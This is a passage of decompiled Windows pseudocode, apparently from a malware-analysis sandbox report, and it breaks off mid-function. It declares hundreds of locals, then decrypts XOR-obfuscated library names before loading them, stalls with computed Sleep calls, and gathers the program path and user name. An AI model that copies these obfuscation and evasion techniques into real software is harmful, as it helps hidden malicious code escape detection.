				intOrPtr _v636;
				intOrPtr _v640;
				intOrPtr _v644;
				intOrPtr _v648;
				intOrPtr _v652;
				intOrPtr _v656;
				intOrPtr _v660;
				intOrPtr _v664;
				intOrPtr _v668;
				intOrPtr _v672;
				intOrPtr _v676;
				intOrPtr _v680;
				intOrPtr _v684;
				intOrPtr _v688;
				intOrPtr _v692;
				intOrPtr _v696;
				intOrPtr _v700;
				intOrPtr _v704;
				intOrPtr _v708;
				intOrPtr _v712;
				intOrPtr _v716;
				intOrPtr _v720;
				intOrPtr _v724;
				intOrPtr _v728;
				intOrPtr _v732;
				intOrPtr _v736;
				intOrPtr _v740;
				intOrPtr _v744;
				intOrPtr _v748;
				intOrPtr _v752;
				intOrPtr _v756;
				intOrPtr _v760;
				intOrPtr _v764;
				intOrPtr _v768;
				intOrPtr _v772;
				intOrPtr _v776;
				intOrPtr _v780;
				intOrPtr _v784;
				intOrPtr _v788;
				intOrPtr _v792;
				intOrPtr _v796;
				intOrPtr _v800;
				intOrPtr _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _v816;
				intOrPtr _v820;
				intOrPtr _v824;
				intOrPtr _v828;
				intOrPtr _v832;
				intOrPtr _v836;
				intOrPtr _v840;
				intOrPtr _v844;
				intOrPtr _v848;
				intOrPtr _v852;
				intOrPtr _v856;
				intOrPtr _v860;
				intOrPtr _v864;
				intOrPtr _v868;
				intOrPtr _v872;
				intOrPtr _v876;
				intOrPtr _v880;
				intOrPtr _v884;
				intOrPtr _v888;
				intOrPtr _v892;
				intOrPtr _v896;
				intOrPtr _v900;
				intOrPtr _v904;
				intOrPtr _v908;
				intOrPtr _v912;
				intOrPtr _v916;
				intOrPtr _v920;
				intOrPtr _v924;
				intOrPtr _v928;
				intOrPtr _v932;
				intOrPtr _v936;
				intOrPtr _v940;
				intOrPtr _v944;
				intOrPtr _v948;
				intOrPtr _v952;
				intOrPtr _v956;
				intOrPtr _v960;
				intOrPtr _v964;
				intOrPtr _v968;
				intOrPtr _v972;
				intOrPtr _v976;
				intOrPtr _v980;
				intOrPtr _v984;
				intOrPtr _v988;
				intOrPtr _v992;
				intOrPtr _v996;
				intOrPtr _v1000;
				intOrPtr _v1004;
				intOrPtr _v1008;
				intOrPtr _v1012;
				intOrPtr _v1016;
				intOrPtr _v1020;
				intOrPtr _v1024;
				intOrPtr _v1028;
				intOrPtr _v1032;
				intOrPtr _v1036;
				intOrPtr _v1040;
				intOrPtr _v1044;
				intOrPtr _v1048;
				intOrPtr _v1052;
				long _v1056;
				char _v1080;
				signed int _v1088;
				char _v1104;
				char _v1128;
				char _v1152;
				char _v1176;
				char _v1200;
				signed int _v1208;
				char _v1224;
				char _v1248;
				char _v1272;
				char _v1296;
				char _v1320;
				char _v1321;
				char _v1322;
				char _v1323;
				char _v1324;
				char _v1325;
				char _v1326;
				char _v1327;
				char _v1328;
				signed int _v1329;
				signed char _v1330;
				signed char _v1331;
				signed int _v1332;
				char _v1333;
				char _v1334;
				char _v1335;
				char _v1336;
				char _v1337;
				char _v1338;
				char _v1339;
				char _v1340;
				char _v1341;
				char _v1342;
				char _v1343;
				char _v1344;
				char _v1345;
				char _v1346;
				char _v1347;
				char _v1348;
				char _v1349;
				signed int _v1350;
				char _v1351;
				char _v1352;
				char _v1353;
				char _v1354;
				char _v1355;
				char _v1356;
				char _v1357;
				char _v1358;
				char _v1359;
				char _v1360;
				signed int _v1361;
				signed char _v1362;
				signed char _v1363;
				signed int _v1364;
				char _v1365;
				char _v1366;
				char _v1367;
				char _v1368;
				char _v1369;
				char _v1370;
				char _v1371;
				char _v1372;
				char _v1373;
				char _v1374;
				char _v1375;
				char _v1376;
				char _v1377;
				char _v1378;
				char _v1379;
				char _v1380;
				char _v1381;
				char _v1382;
				char _v1383;
				signed int _v1384;
				char _v1385;
				char _v1386;
				char _v1387;
				char _v1388;
				char _v1389;
				char _v1390;
				char _v1391;
				char _v1392;
				char _v1393;
				char _v1394;
				char _v1395;
				char _v1396;
				char _v1397;
				char _v1398;
				char _v1399;
				signed int _v1400;
				char _v1401;
				char _v1402;
				char _v1403;
				char _v1404;
				char _v1405;
				char _v1406;
				char _v1407;
				char _v1408;
				char _v1409;
				char _v1410;
				char _v1411;
				char _v1412;
				char _v1413;
				char _v1414;
				char _v1415;
				char _v1416;
				char _v1417;
				char _v1418;
				char _v1419;
				char _v1420;
				char _v1421;
				signed int _v1422;
				char _v1423;
				char _v1424;
				char _v1425;
				char _v1426;
				char _v1427;
				char _v1428;
				char _v1429;
				char _v1430;
				char _v1431;
				char _v1432;
				char _v1433;
				char _v1434;
				signed int _v1435;
				char _v1436;
				char _v1437;
				intOrPtr* _v1444;
				intOrPtr* _v1448;
				char* _v1452;
				intOrPtr* _v1456;
				intOrPtr* _v1460;
				intOrPtr* _v1464;
				intOrPtr* _v1468;
				intOrPtr* _v1472;
				intOrPtr* _v1476;
				intOrPtr* _v1480;
				intOrPtr* _v1484;
				intOrPtr* _v1488;
				intOrPtr* _v1492;
				intOrPtr* _v1496;
				char* _v1500;
				char* _v1504;
				char* _v1508;
				char _v1512;
				char _v1516;
				char _v1520;
				char _v1524;
				char _v1528;
				char _v1532;
				char _v1536;
				char _v1540;
				char _v1544;
				char _v1548;
				char _v1552;
				signed char _v1553;
				char _v1560;
				char _v1564;
				char _v1568;
				char _v1572;
				char _v1576;
				char _v1580;
				char _v1584;
				char _v1588;
				char _v1592;
				char _v1596;
				char _v1600;
				char _v1604;
				char _v1608;
				char _v1612;
				char _v1616;
				char _v1620;
				char _v1624;
				char _v1628;
				char _v1632;
				char _v1636;
				char _v1640;
				char _v1644;
				char _v1648;
				char _v1652;
				char _v1656;
				char _v1660;
				char _v1664;
				char _v1668;
				char _v1672;
				char _v1676;
				char _v1680;
				char _v1684;
				char _v1688;
				char _v1692;
				char _v1696;
				char _v1700;
				char _v1704;
				char _v1708;
				char _v1712;
				char _v1716;
				char _v1720;
				char _v1724;
				char _v1728;
				char _v1732;
				char _v1736;
				CHAR* _v1740;
				CHAR* _v1744;
				char* _v1748;
				char* _v1752;
				char* _v1756;
				void* _v1760;
				char* _v1764;
				char* _v1768;
				intOrPtr* _v1772;
				char* _v1776;
				char* _v1780;
				intOrPtr* _v1784;
				intOrPtr* _v1788;
				intOrPtr* _v1792;
				intOrPtr* _v1796;
				char* _v1800;
				char* _v1804;
				intOrPtr* _v1808;
				char* _v1812;
				char* _v1816;
				intOrPtr* _v1820;
				char* _v1824;
				char* _v1828;
				intOrPtr* _v1832;
				intOrPtr* _v1836;
				signed int _v1840;
				intOrPtr* _v1844;
				intOrPtr* _v1848;
				void* _v1852;
				char* _v1856;
				char* _v1860;
				char _v1864;
				intOrPtr* _v1868;
				intOrPtr* _v1872;
				void* _v1876;
				char* _v1880;
				intOrPtr* _v1884;
				intOrPtr* _v1888;
				intOrPtr* _v1892;
				void* _v1896;
				intOrPtr* _v1900;
				char _v1904;
				char _v1908;
				char _v1912;
				char _v1916;
				char _v1920;
				char _v1924;
				char _v1928;
				char _v1932;
				char _v1936;
				char _v1940;
				char _v1944;
				char _v1948;
				char _v1952;
				char _v1956;
				char _v1960;
				char _v1964;
				char _v1968;
				char _v1972;
				char _v1976;
				char _v1980;
				char _v1984;
				char _v1988;
				signed char _v1989;
				char _v1996;
				char _v2000;
				char _v2004;
				char _v2008;
				char _v2012;
				char _v2016;
				char _v2020;
				char _v2024;
				char _v2028;
				char _v2032;
				char _v2036;
				char _v2040;
				char _v2044;
				intOrPtr _v2048;
				intOrPtr _v2052;
				int _v2056;
				signed int _v2060;
				CHAR* _v2064;
				intOrPtr _v2068;
				intOrPtr _v2072;
				intOrPtr* _v2076;
				int _v2080;
				intOrPtr _v2084;
				intOrPtr _v2088;
				intOrPtr _v2092;
				int _v2096;
				int _v2100;
				intOrPtr _v2104;
				int _v2108;
				intOrPtr _v2112;
				intOrPtr _v2116;
				intOrPtr _v2120;
				int _v2124;
				intOrPtr _v2128;
				intOrPtr _v2132;
				intOrPtr _v2136;
				int _v2140;
				int _v2144;
				intOrPtr _v2148;
				int _v2152;
				intOrPtr _v2156;
				intOrPtr _v2160;
				intOrPtr _v2164;
				int _v2168;
				char* _v2172;
				char* _v2176;
				char* _v2180;
				intOrPtr _v2184;
				intOrPtr _v2188;
				intOrPtr _v2192;
				int _v2196;
				CHAR* _v2200;
				intOrPtr _v2204;
				int _v2208;
				intOrPtr _v2212;
				intOrPtr _v2216;
				intOrPtr _v2220;
				intOrPtr _v2224;
				intOrPtr _v2228;
				signed int _v2232;
				intOrPtr _v2236;
				signed int _v2240;
				intOrPtr _v2244;
				intOrPtr _v2248;
				intOrPtr _v2252;
				intOrPtr _v2256;
				intOrPtr _v2260;
				intOrPtr _v2264;
				intOrPtr _v2268;
				intOrPtr _v2272;
				intOrPtr _v2276;
				intOrPtr _v2280;
				intOrPtr _v2284;
				intOrPtr _v2288;
				signed int _v2292;
				intOrPtr _v2296;
				intOrPtr _v2300;
				intOrPtr _v2304;
				intOrPtr _v2308;
				intOrPtr _v2312;
				intOrPtr _v2316;
				intOrPtr _v2320;
				char* _v2324;
				signed int _v2328;
				intOrPtr _v2332;
				intOrPtr _v2336;
				intOrPtr _v2340;
				char* _v2344;
				intOrPtr _v2348;
				intOrPtr _v2352;
				intOrPtr _v2356;
				intOrPtr _v2360;
				intOrPtr _v2364;
				intOrPtr _v2368;
				intOrPtr _v2372;
				intOrPtr _v2376;
				intOrPtr _v2380;
				char* _v2384;
				signed int _v2388;
				intOrPtr _v2392;
				intOrPtr _v2396;
				intOrPtr _v2400;
				intOrPtr _v2404;
				intOrPtr _v2408;
				intOrPtr _v2412;
				signed int _v2416;
				intOrPtr _v2420;
				intOrPtr _v2424;
				intOrPtr _v2428;
				char* _v2432;
				intOrPtr _v2436;
				intOrPtr _v2440;
				intOrPtr _v2444;
				intOrPtr _v2448;
				signed int _v2452;
				intOrPtr _v2456;
				intOrPtr _v2460;
				intOrPtr _v2464;
				char* _v2468;
				intOrPtr _v2472;
				intOrPtr _v2476;
				intOrPtr _v2480;
				CHAR* _v2484;
				CHAR* _v2488;
				signed int _v2492;
				intOrPtr _v2496;
				intOrPtr _v2500;
				intOrPtr _v2504;
				intOrPtr _v2508;
				intOrPtr _v2512;
				intOrPtr _v2516;
				signed int _v2520;
				intOrPtr _v2524;
				intOrPtr _v2528;
				intOrPtr _v2532;
				char* _v2536;
				intOrPtr _v2540;
				intOrPtr _v2544;
				intOrPtr _v2548;
				intOrPtr _v2552;
				signed int _v2556;
				intOrPtr _v2560;
				intOrPtr _v2564;
				intOrPtr _v2568;
				char* _v2572;
				intOrPtr _v2576;
				intOrPtr _v2580;
				signed int _v2584;
				signed int _v2588;
				CHAR* _v2592;
				intOrPtr _v2600;
				char _v2604;
				intOrPtr _v2608;
				intOrPtr _v2612;
				intOrPtr _v2616;
				char _v2620;
				intOrPtr _v2624;
				intOrPtr _v2628;
				signed int _v2632;
				signed int _v2636;
				intOrPtr _v2640;
				intOrPtr _v2644;
				signed int _v2648;
				intOrPtr _v2652;
				signed int _v2656;
				signed int _v2660;
				intOrPtr _v2664;
				intOrPtr _v2668;
				signed int _v2672;
				intOrPtr _v2676;
				intOrPtr _v2680;
				intOrPtr _v2684;
				intOrPtr _v2688;
				long _v2692;
				intOrPtr _v2696;
				char _v2700;
				intOrPtr _v2704;
				intOrPtr _v2708;
				intOrPtr _v2712;
				char _v2716;
				intOrPtr _v2720;
				intOrPtr _v2724;
				intOrPtr _v2728;
				char _v2732;
				intOrPtr _v2736;
				intOrPtr _v2740;
				intOrPtr _v2744;
				char _v2748;
				intOrPtr _v2752;
				intOrPtr _v2756;
				intOrPtr _v2760;
				intOrPtr _v2764;
				intOrPtr _v2768;
				intOrPtr _v2772;
				intOrPtr _v2776;
				char _v2780;
				intOrPtr _v2784;
				intOrPtr _v2788;
				intOrPtr _v2792;
				intOrPtr _v2796;
				intOrPtr _v2800;
				intOrPtr _v2804;
				intOrPtr _v2808;
				intOrPtr _v2812;
				intOrPtr _v2816;
				intOrPtr _v2820;
				intOrPtr _v2824;
				char _v2828;
				intOrPtr _v2832;
				intOrPtr _v2836;
				intOrPtr _v2840;
				char _v2844;
				intOrPtr _v2848;
				intOrPtr _v2852;
				intOrPtr _v2856;
				char _v2860;
				intOrPtr _v2864;
				intOrPtr _v2868;
				intOrPtr _v2872;
				char _v2876;
				intOrPtr _v2880;
				intOrPtr _v2884;
				intOrPtr _v2888;
				char _v2892;
				intOrPtr _v2896;
				intOrPtr _v2900;
				intOrPtr _v2904;
				char _v2908;
				intOrPtr _v2912;
				intOrPtr _v2916;
				intOrPtr _v2920;
				intOrPtr _v2924;
				intOrPtr _v2928;
				intOrPtr _v2932;
				intOrPtr _v2936;
				char _v2940;
				intOrPtr _v2944;
				intOrPtr _v2948;
				intOrPtr _v2952;
				char _v2956;
				intOrPtr _v2960;
				intOrPtr _v2964;
				intOrPtr _v2968;
				char _v2972;
				intOrPtr _v2976;
				intOrPtr _v2980;
				intOrPtr _v2984;
				char _v2988;
				intOrPtr _v2992;
				intOrPtr _v2996;
				intOrPtr _v3000;
				char _v3004;
				intOrPtr _v3008;
				intOrPtr _v3012;
				intOrPtr _v3016;
				intOrPtr _v3020;
				intOrPtr _v3024;
				intOrPtr _v3028;
				intOrPtr _v3032;
				intOrPtr _v3036;
				intOrPtr _v3040;
				intOrPtr _v3044;
				intOrPtr _v3048;
				char _v3052;
				intOrPtr _v3056;
				intOrPtr _v3060;
				intOrPtr _v3064;
				char _v3068;
				intOrPtr _v3072;
				intOrPtr _v3076;
				intOrPtr _v3080;
				intOrPtr _v3084;
				intOrPtr _v3088;
				intOrPtr _v3092;
				intOrPtr _v3096;
				char _v3100;
				intOrPtr _v3104;
				intOrPtr _v3108;
				intOrPtr _v3112;
				intOrPtr _v3116;
				CHAR* _v3120;
				intOrPtr _v3128;
				intOrPtr _v3132;
				intOrPtr _v3136;
				intOrPtr _v3140;
				intOrPtr _v3144;
				char _v3148;
				intOrPtr _v3152;
				intOrPtr _v3156;
				intOrPtr _v3160;
				char _v3164;
				intOrPtr _v3168;
				intOrPtr _v3172;
				intOrPtr _v3176;
				intOrPtr _v3180;
				intOrPtr _v3184;
				intOrPtr _v3188;
				CHAR* _v3192;
				intOrPtr _v3196;
				intOrPtr _v3200;
				intOrPtr _v3204;
				intOrPtr* _v3208;
				intOrPtr _v3212;
				CHAR* _v3216;
				CHAR* _v3220;
				intOrPtr _v3224;
				signed int _v3228;
				intOrPtr _v3232;
				signed int _v3236;
				signed int _v3240;
				signed int _v3244;
				signed int _v3248;
				signed int _v3252;
				intOrPtr _v3256;
				intOrPtr _v3260;
				intOrPtr _v3264;
				intOrPtr _v3268;
				signed int _v3272;
				intOrPtr _v3276;
				intOrPtr _v3280;
				intOrPtr _v3284;
				intOrPtr _v3288;
				intOrPtr _v3292;
				intOrPtr _v3296;
				intOrPtr _v3300;
				char* _v3304;
				signed int _v3308;
				intOrPtr _v3312;
				intOrPtr _v3316;
				intOrPtr _v3320;
				char* _v3324;
				intOrPtr _v3328;
				intOrPtr _v3332;
				intOrPtr _v3336;
				intOrPtr _v3344;
				intOrPtr _v3348;
				intOrPtr _v3352;
				char _v3356;
				intOrPtr _v3360;
				intOrPtr _v3364;
				intOrPtr _v3368;
				char _v3372;
				intOrPtr _v3376;
				intOrPtr _v3380;
				intOrPtr _v3384;
				char _v3388;
				intOrPtr _v3392;
				intOrPtr _v3396;
				intOrPtr _v3400;
				char _v3404;
				intOrPtr _v3408;
				intOrPtr _v3412;
				intOrPtr _v3416;
				char _v3420;
				intOrPtr _v3424;
				intOrPtr _v3428;
				intOrPtr _v3432;
				char _v3436;
				intOrPtr _v3440;
				intOrPtr _v3444;
				intOrPtr _v3448;
				char _v3452;
				intOrPtr _v3456;
				intOrPtr _v3460;
				intOrPtr _v3464;
				char _v3468;
				intOrPtr _v3472;
				intOrPtr _v3476;
				intOrPtr _v3480;
				char _v3484;
				intOrPtr _v3488;
				intOrPtr _v3492;
				intOrPtr _v3496;
				char _v3500;
				intOrPtr _v3504;
				intOrPtr _v3508;
				intOrPtr _v3512;
				char _v3516;
				intOrPtr _v3520;
				intOrPtr _v3524;
				intOrPtr _v3528;
				char _v3532;
				intOrPtr _v3536;
				intOrPtr _v3540;
				intOrPtr _v3544;
				char _v3548;
				intOrPtr _v3552;
				intOrPtr _v3556;
				intOrPtr _v3560;
				char _v3564;
				intOrPtr _v3568;
				intOrPtr _v3572;
				intOrPtr _v3576;
				char _v3580;
				intOrPtr _v3584;
				intOrPtr _v3588;
				intOrPtr _v3592;
				char _v3596;
				intOrPtr _v3600;
				intOrPtr _v3604;
				intOrPtr _v3608;
				char _v3612;
				intOrPtr _v3616;
				intOrPtr _v3620;
				intOrPtr _v3624;
				char _v3628;
				intOrPtr _v3632;
				intOrPtr _v3636;
				intOrPtr _v3640;
				intOrPtr _v3644;
				intOrPtr _v3648;
				intOrPtr _v3652;
				intOrPtr _v3656;
				char _v3660;
				intOrPtr _v3664;
				intOrPtr _v3668;
				intOrPtr _v3672;
				intOrPtr _v3676;
				intOrPtr _v3680;
				intOrPtr _v3684;
				intOrPtr _v3688;
				char _v3692;
				intOrPtr _v3696;
				intOrPtr _v3700;
				intOrPtr _v3704;
				intOrPtr _v3708;
				intOrPtr _v3712;
				intOrPtr _v3716;
				intOrPtr _v3720;
				intOrPtr _v3724;
				intOrPtr _v3728;
				intOrPtr _v3732;
				intOrPtr _v3736;
				char _v3740;
				intOrPtr _v3744;
				intOrPtr _v3748;
				intOrPtr _v3752;
				intOrPtr _v3756;
				intOrPtr _v3760;
				intOrPtr _v3764;
				intOrPtr _v3768;
				intOrPtr _v3772;
				intOrPtr _v3776;
				intOrPtr _v3780;
				intOrPtr _v3784;
				char _v3788;
				intOrPtr _v3792;
				intOrPtr _v3796;
				intOrPtr _v3800;
				intOrPtr _v3804;
				intOrPtr _v3808;
				intOrPtr _v3812;
				intOrPtr _v3816;
				intOrPtr _v3820;
				intOrPtr _v3824;
				intOrPtr _v3828;
				intOrPtr _v3832;
				char _v3836;
				intOrPtr _v3840;
				intOrPtr _v3844;
				intOrPtr _v3848;
				intOrPtr* _v3852;
				intOrPtr _v3856;
				intOrPtr _v3860;
				intOrPtr _v3864;
				intOrPtr _v3868;
				intOrPtr* _v3872;
				intOrPtr* _v3876;
				intOrPtr _v3880;
				intOrPtr _v3884;
				char* _v3888;
				char* _v3892;
				intOrPtr* _v3896;
				intOrPtr* _v3900;
				intOrPtr* _v3904;
				intOrPtr _v3908;
				intOrPtr _v3912;
				intOrPtr _v3916;
				intOrPtr _v3920;
				intOrPtr _v3924;
				intOrPtr _v3928;
				intOrPtr _v3932;
				intOrPtr* _v3936;
				intOrPtr* _v3940;
				intOrPtr _v3944;
				intOrPtr _v3948;
				intOrPtr* _v3952;
				intOrPtr _v3956;
				intOrPtr* _v3960;
				intOrPtr* _v3964;
				char _v5220;
				char _v5244;
				char _v5268;
				char _v5292;
				char _v5316;
				char _v5380;
				char _v5404;
				char _v5428;
				char _v5452;
				char _v5476;
				char _v5500;
				char _v5748;
				char _v5772;
				char _v5796;
				char _v5820;
				char _v5844;
				char _v5868;
				char _v5892;
				char _v5916;
				char _v5940;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t1700;
				struct HINSTANCE__* _t1711;
				struct HINSTANCE__* _t1719;
				signed char _t1722;
				signed char _t1752;
				signed char _t1754;
				signed int _t1757;
				intOrPtr _t1916;
				intOrPtr _t1936;
				intOrPtr _t1937;
				intOrPtr _t1939;
				void* _t1941;
				intOrPtr _t1943;
				void* _t1946;
				intOrPtr _t1948;
				intOrPtr _t1996;
				intOrPtr _t1997;
				void* _t1999;
				intOrPtr _t2001;
				void* _t2004;
				signed char _t2013;
				signed int _t2048;
				intOrPtr _t2051;
				void* _t2053;
				intOrPtr _t2056;
				signed int _t2068;
				intOrPtr _t2085;
				signed int _t2095;
				intOrPtr _t2107;
				intOrPtr _t2108;
				void* _t2110;
				intOrPtr _t2112;
				void* _t2115;
				intOrPtr _t2116;
				signed char _t2124;
				signed int _t2147;
				signed int _t2149;
				intOrPtr* _t2160;
				intOrPtr _t2161;
				signed int _t2168;
				intOrPtr _t2396;
				signed int _t2416;
				intOrPtr _t2440;
				signed int _t2472;
				intOrPtr _t2528;
				signed int _t2644;
				signed int _t2650;
				signed int _t2657;
				intOrPtr _t2662;
				signed int _t2697;
				signed int _t2703;
				signed int _t2710;
				intOrPtr _t2715;
				signed int _t2735;
				intOrPtr _t2747;
				signed int _t2781;
				intOrPtr _t2785;
				intOrPtr _t2787;
				intOrPtr _t2795;
				signed int _t2816;
				intOrPtr _t2817;
				intOrPtr _t2818;
				intOrPtr _t2827;
				signed int _t2846;
				intOrPtr _t2855;
				intOrPtr _t2857;
				signed int _t2898;
				signed int _t2899;
				intOrPtr _t2905;
				void* _t2907;
				void* _t2910;
				signed int _t2920;
				void* _t2922;
				signed int _t2925;
				void* _t2927;
				intOrPtr _t2931;
				intOrPtr _t2932;
				intOrPtr _t2937;
				void* _t2939;
				void* _t2940;
				void* _t2941;
				intOrPtr _t2943;
				void* _t2945;
				intOrPtr _t2946;
				intOrPtr _t2954;
				intOrPtr _t2955;
				intOrPtr _t2956;
				void* _t2958;
				void* _t2959;
				void* _t2961;
				intOrPtr _t2962;

				_t2176 = _t2922;
				_t2925 = (_t2922 - 0x00000008 & 0xfffffff0) + 4;
				_v8 =  *((intOrPtr*)(_t2922 + 4));
				_t2920 = _t2925;
				E009C3500(0x1728);
				_t1700 =  *0x9d2008; // 0x9fef24bf
				_v16 = _t1700 ^ _t2920;
				_push(_t2909);
				_push(_t2906);
				E009AF9B0(__ecx, E009B5345(__ecx, __edx, 0));
				_t2927 = _t2925 + 8;
				_v1401 = 0;
				_v1402 = 0;
				_v1403 = 0;
				_v1672 = _v1401;
				_v1676 = _v1402;
				_v1680 = _v1403;
				_v2604 = 0x35662862;
				_v2600 = 0xa53d7663;
				_v3596 = _v2604;
				_v3592 = _v2600;
				_v2612 = 0x8995835e;
				_v2608 = 0xc7f6786c;
				_v3588 = _v2612;
				_v3584 = _v2608;
				_v1740 =  &_v3596;
				_v684 = 0x7c286135;
				_v680 = 0x8b69332d;
				_v676 = 0x89f9ef3a;
				_v672 = 0xc7f6786c;
				_v1404 = 0;
				_v1684 = _v1404;
				asm("movaps xmm0, [ebp-0x2a0]");
				asm("movaps [ebp-0xf90], xmm0");
				asm("movups xmm0, [edx]");
				asm("movaps [ebp-0xf80], xmm0");
				asm("movaps xmm0, [ebp-0xf80]");
				asm("pxor xmm0, [ebp-0xf90]");
				asm("movaps [ebp-0xfa0], xmm0");
				asm("movaps xmm0, [ebp-0xfa0]");
				asm("movups [eax], xmm0");
				_v3120 = _v1740;
				_t1711 = LoadLibraryA(_v3120); // executed
				_v1840 = _t1711;
				_v1405 = 0;
				_v1406 = 0;
				_v1407 = 0;
				_v1688 = _v1405;
				_v1696 = _v1406;
				_v1700 = _v1407;
				_v2620 = 0x34662862;
				_v2616 = 0xa5396779;
				_v3564 = _v2620;
				_v3560 = _v2616;
				_v2628 = 0x8995835e;
				_v2624 = 0xc7f6786c;
				_v3556 = _v2628;
				_v3552 = _v2624;
				_v1744 =  &_v3564;
				_v700 = 0x7c286135;
				_v696 = 0x8b69332d;
				_v692 = 0x89f9ef3a;
				_v688 = 0xc7f6786c;
				_v1408 = 0;
				_v1704 = _v1408;
				asm("movaps xmm0, [ebp-0x2b0]");
				asm("movaps [ebp-0xfc0], xmm0");
				asm("movups xmm0, [edx]");
				asm("movaps [ebp-0xfb0], xmm0");
				asm("movaps xmm0, [ebp-0xfb0]");
				asm("pxor xmm0, [ebp-0xfc0]");
				asm("movaps [ebp-0xfd0], xmm0");
				asm("movaps xmm0, [ebp-0xfd0]");
				asm("movups [eax], xmm0");
				_v3192 = _v1744;
				_t2591 = _v3192;
				_t1719 = LoadLibraryA(_v3192); // executed
				if(_t1719 == 0) {
					L107:
					_pop(_t2907);
					_pop(_t2910);
					__eflags = _v16 ^ _t2920;
					return E009AC2E8(0, _t2176, _v16 ^ _t2920, _t2591, _t2907, _t2910);
				}
				_t2964 = _v1840;
				if(_v1840 == 0) {
					goto L107;
				} else {
					goto L2;
				}
				while(1) {
					L2:
					_t1722 = E0097B8D0(_t2906, _t2909, _t2964); // executed
					_t2964 = _t1722 & 0x000000ff;
					if((_t1722 & 0x000000ff) != 0) {
						break;
					}
					_v2636 = 0x3f54bc00;
					_v2632 = 0;
					_v2660 = _v2636 ^ 0x00000019;
					_v2656 = _v2632 ^ 0x00000000;
					_v2644 = 0x19;
					_v2640 = 0;
					_t2898 =  *0x9d28c0; // 0x51
					_t2899 = _t2898 ^ 0x00004579;
					_t2168 =  *0x9d28c4; // 0x0
					_v2652 = E009C3280(_t2899, _t2168 ^ 0x00000000, 6, 0);
					_v2648 = _t2899;
					_v2668 = 0x4579;
					_v2664 = 0;
					asm("adc eax, ecx");
					asm("adc eax, 0x0");
					_v2684 = _v2644 + _v2652 + 1;
					_v2680 = _v2640;
					asm("sbb eax, ecx");
					_v2676 = _v2660 - _v2668;
					_v2672 = _v2656;
					_t2905 = _v2676;
					_t2909 = _v2680;
					_v2692 = E009C3300(_t2905, _v2672, _v2684, _v2680);
					_v2688 = _t2905;
					_t2591 = _v2692;
					_v3908 = _v2688;
					Sleep(_v2692);
				}
				_push( &_v1128); // executed
				E009764D0(_t2591, __eflags); // executed
				_v1409 = 0;
				_v1410 = 0;
				_v1411 = 0;
				_v1708 = _v1409;
				_v1712 = _v1410;
				_v1716 = _v1411;
				_v2700 = 0x2a5c0472;
				_v2696 = 0xe21a4148;
				_v3356 = _v2700;
				_v3352 = _v2696;
				_v2708 = 0x89858155;
				_v2704 = 0xc7f6786c;
				_v3348 = _v2708;
				_v3344 = _v2704;
				_v1748 =  &_v3356;
				_v716 = 0x7c286135;
				_v712 = 0x8b69332d;
				_v708 = 0x89f9ef3a;
				_v704 = 0xc7f6786c;
				_v1412 = 0;
				_v1720 = _v1412;
				asm("movaps xmm0, [ebp-0x2c0]");
				asm("movaps [ebp-0xff0], xmm0");
				asm("movups xmm0, [ecx]");
				asm("movaps [ebp-0xfe0], xmm0");
				asm("movaps xmm0, [ebp-0xfe0]");
				asm("pxor xmm0, [ebp-0xff0]");
				asm("movaps [ebp-0x1000], xmm0");
				asm("movaps xmm0, [ebp-0x1000]");
				asm("movups [edx], xmm0");
				_v3196 = _v1748;
				_t2931 = _t2927 + 4 - 0x18;
				_v3912 = _t2931;
				E00988BD0(_t2176, _t2906, _t2909, _t2931, _v3196, 0x9d35f8);
				_t2932 = _t2931 + 0xfffffff4;
				_v3916 = _t2932;
				E00986C20(_t2932,  &_v1128);
				_push( &_v1224); // executed
				E0097BE20(_v3196, __eflags); // executed
				E009ADBB0(_t2906,  &_v284, 0, 0x104);
				GetModuleFileNameA(0,  &_v284, 0x104);
				E009ADBB0(_t2906,  &_v548, 0, 0x104);
				_v1056 = 0x104;
				GetUserNameA( &_v548,  &_v1056); // executed
				_push(1);
				_push( &_v1080); // executed
				E00981180(_t2906, _t2909); // executed
				_v1413 = 0;
				_v1414 = 0;
				_v1415 = 0;
				_v1724 = _v1413;
				_v1520 = _v1414;
				_v1728 = _v1415;
				_v2716 = 0x18440e6a;
				_v2712 = 0x8b69332d;
				_v3372 = _v2716;
				_v3368 = _v2712;
				_v2724 = 0x89f9ef3a;
				_v2720 = 0xc7f6786c;
				_v3364 = _v2724;
				_v3360 = _v2720;
				_v1752 =  &_v3372;
				_v732 = 0x7c286135;
				_v728 = 0x8b69332d;
				_v724 = 0x89f9ef3a;
				_v720 = 0xc7f6786c;
				_v1416 = 0;
				_v1732 = _v1416;
				asm("movaps xmm0, [ebp-0x2d0]");
				asm("movaps [ebp-0x1020], xmm0");
				asm("movups xmm0, [ecx]");
				asm("movaps [ebp-0x1010], xmm0");
				asm("movaps xmm0, [ebp-0x1010]");
				asm("pxor xmm0, [ebp-0x1020]");
				asm("movaps [ebp-0x1030], xmm0");
				asm("movaps xmm0, [ebp-0x1030]");
				asm("movups [edx], xmm0");
				_v3200 = _v1752;
				_t2937 = _t2932 + 0x54 - 0x18;
				_v3920 = _t2937;
				E00988D40(_t2176, _t2906, _t2909, _t2937,  &_v1080, _v3200);
				_t1752 = E00973950(_t2906, _t2909); // executed
				_t2939 = _t2937 + 0x24;
				__eflags = _t1752 & 0x000000ff;
				if((_t1752 & 0x000000ff) != 0) {
					_v1418 = 0;
					_v1419 = 0;
					_v1420 = 0;
					_v1736 = _v1418;
					_v1864 = _v1419;
					_v1904 = _v1420;
					_v2732 = 0x18440e6a;
					_v2728 = 0x8b69332d;
					_v3404 = _v2732;
					_v3400 = _v2728;
					_v2740 = 0x89f9ef3a;
					_v2736 = 0xc7f6786c;
					_v3396 = _v2740;
					_v3392 = _v2736;
					_v1756 =  &_v3404;
					_v748 = 0x7c286135;
					_v744 = 0x8b69332d;
					_v740 = 0x89f9ef3a;
					_v736 = 0xc7f6786c;
					_v1421 = 0;
					_v1908 = _v1421;
					asm("movaps xmm0, [ebp-0x2e0]");
					asm("movaps [ebp-0x1050], xmm0");
					asm("movups xmm0, [ecx]");
					asm("movaps [ebp-0x1040], xmm0");
					asm("movaps xmm0, [ebp-0x1040]");
					asm("pxor xmm0, [ebp-0x1050]");
					asm("movaps [ebp-0x1060], xmm0");
					asm("movaps xmm0, [ebp-0x1060]");
					asm("movups [edx], xmm0");
					_v3204 = _v1756;
					_t2160 = E00988D40(_t2176, _t2906, _t2909,  &_v5796,  &_v1080, _v3204);
					_t2939 = _t2939 + 0xc;
					_v3208 = _t2160;
					_v1760 = _v3208;
					_v2064 = _v1760;
